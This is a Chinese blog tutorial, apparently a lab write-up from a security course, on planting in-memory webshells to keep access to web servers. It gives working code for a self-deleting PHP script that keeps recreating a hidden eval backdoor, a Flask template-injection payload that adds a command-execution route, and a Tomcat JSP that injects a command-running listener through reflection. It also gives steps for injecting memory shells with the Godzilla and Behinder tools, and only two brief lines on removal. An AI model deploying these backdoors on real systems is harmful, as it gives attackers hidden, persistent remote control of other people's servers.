第146天:内网安全-Web权限维持&各语言内存马&Servlet-api类&Spring类&Agent类

xiaojiesec 2024-10-12 16:03:01 阅读 83

目录

前置知识及资源

案例一: 权限维持-Web-内存马-PHP

案例二: 权限维持-Web-内存马-Python

案例三: 权限维持-Web-内存马-JAVA

案例四: 权限维持-Web-内存马-哥斯拉&冰蝎

哥斯拉

​编辑

冰蝎


前置知识及资源

什么是内存马?

Webshell

内存马,是在内存中写入恶意后门和木马并执行,达到远程控制

Web

服务器

的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的

Webshell

都是基于

文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于

Webshell

内存马

是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难

度。

本文涉及到的代码下载地址

链接: https://pan.baidu.com/s/1znRj_L9MN69DrsOV6cQHgQ?pwd=x8i8 提取码: x8i8

案例一: 权限维持-Web-内存马-PHP

php内存马代码

<code><?php

ignore_user_abort(true);

set_time_limit(0);

@unlink(__FILE__);

$file = '.HH.php';

$code = '<?php @eval($_POST[\'c\']); ?>';

while (1){

file_put_contents($file,$code);

usleep(5000);

}

?>

这段代码中各部分的含义

ignore_user_abort(true);     ##代表该代码只要运行了就不会断开、

set_time_limit(0);     ##该代码运行的时间,设置为0就是一致运行

@unlink(__FILE__);        ##删除文件

while (1){

 file_put_contents($file,$code);    ## 死循环创建文件并且写入

 usleep(5000);   ##延时

}

创建文件并且查看

然后访问http://ip/,这里会卡住,把之前创建的index文件会被删除,后面的页面是我访问的缓存,同时会产生一个.HH.php文件,这个文件是linux的隐藏文件,但是不知为何,我linux搭建的访问不了,只能这样演示。

.HH.php里面是一句话木马

在我去删除的时候,他又会立刻去创建出来,甚至在我鼠标右键的时候因为这个文件不断地创建,右键页面也不能打开,从时间也可以看出来这个文件,在一直的刷新

如何查杀

1. 因为写在了内存中,所以直接重启

2. 可以写一个条件竞争的代码,也是一直执行,刚创建就对其进行删除

案例二: 权限维持-Web-内存马-Python

漏洞代码,这段代码中有ssti注入漏洞

<code>from flask import Flask,request

from flask import render_template_string

app = Flask(__name__)

@app.route('/')

def hello_world():

return 'Hello World'

@app.route('/test',methods=['GET', 'POST'])

def test():

template = '''

<div class="center-content error">code>

<h1>Oops! That page doesn't exist.</h1>

<h3>%s</h3>

</div>

''' %(request.values.get('param'))

return render_template_string(template)

if __name__ == '__main__':

app.run(port=8000)

 render_template_string函数会渲染字符串,而字符串中有用户能控制输入的参数param,就造成了命令执行的危害

创建代码,并执行

生成内存马,利用的时候只需要修改对应test的模块以及对应param的参数

<code>http://127.0.0.1:8000/test?param={ {url_for.__globals__[%27__builtins__%27][%27eval%27](%22app.add_url_rule(%27/shell%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,{%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%27app%27:url_for.__globals__[%27current_app%27]})}}

然后访问

shell?cmd=命令

 

但是创建文件的地方并没有shell的影子文件也没有修改

参考文章:Python 内存马分析 - 先知社区

案例三: 权限维持-Web-内存马-JAVA

环境搭建

选择tomcat目录,导入程序的war包

 导入jdk

shift+f10进行启动

 java有三大组件,listener-->filter-->servlet,这里的原理就是把木马写入组件内存中

 

监听器

 漏洞代码是一个文件上传页面

listener-内存马

<code><%@ page import="org.apache.catalina.core.ApplicationContext" %>code>

<%@ page import="org.apache.catalina.core.StandardContext" %>code>

<%

Object obj = request.getServletContext();

java.lang.reflect.Field field = obj.getClass().getDeclaredField("context");

field.setAccessible(true);

ApplicationContext applicationContext = (ApplicationContext) field.get(obj);

//获取ApplicationContext

field = applicationContext.getClass().getDeclaredField("context");

field.setAccessible(true);

StandardContext standardContext = (StandardContext) field.get(applicationContext);

//获取StandardContext

ListenerDemo listenerdemo = new ListenerDemo();

//创建能够执行命令的Listener

standardContext.addApplicationEventListener(listenerdemo);

%>

<%!

public class ListenerDemo implements ServletRequestListener {

public void requestDestroyed(ServletRequestEvent sre) {

System.out.println("requestDestroyed");

}

public void requestInitialized(ServletRequestEvent sre) {

System.out.println("requestInitialized");

try{

String cmd = sre.getServletRequest().getParameter("cmd");

Runtime.getRuntime().exec(cmd);

}catch (Exception e ){

//e.printStackTrace();

}

}

}

%>

 上传

 

访问页面,虽然是空白

但是现在已经可以在后面跟命令执行了

甚至随便访问一个不存在的目录

目录中也并没有一点,木马的影子

甚至把这个文件删除掉仍然还能够运行

 

重启代码失效

过滤器和伺服器,利用和前面一摸一样的,不再复现

案例四: 权限维持-Web-内存马-哥斯拉&冰蝎

实战过程中由于中间件不同,可能有tomcat,weblogic等等就会出现不同种类的内存马,甚至有类似spring框架开发,就导致不能通用,所以现在要演示通过哥斯拉&冰蝎复现

哥斯拉

生成木马

上传

建立连接

生成内存马

生成之后会发现目录下不会有这个文件

 

利用内存马建立连接的时候,要注意他会把这个文件默认上传到网站根目录下,并且密码默认的是password而不是pass

 利用内存马建立的连接

冰蝎

冰蝎在使用的过程中呢,会出现很多bug,个人觉得没有哥斯拉好用

上传木马进行连接,冰蝎的木马不用生成,目录里面就有

 右键目标连接,进行内存马的注入

到这里创建不了内存马了,这个版本不可以选择filter

后面换成了小迪视频里面的冰蝎版本,视频中问题是木马不能再Upload目录下,这里我试了也不行,所以这个还是有很多的bug的

 创建的时候是创建在网站根目录,访问也是利用根目录访问

成功连接,并且目录没有123文件

至此内网学习暂时告一段落,后面的vpc项目1和2已经下线,vpc4太大了,vpc3后可能做一下,希望你也能看到这里^_^



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。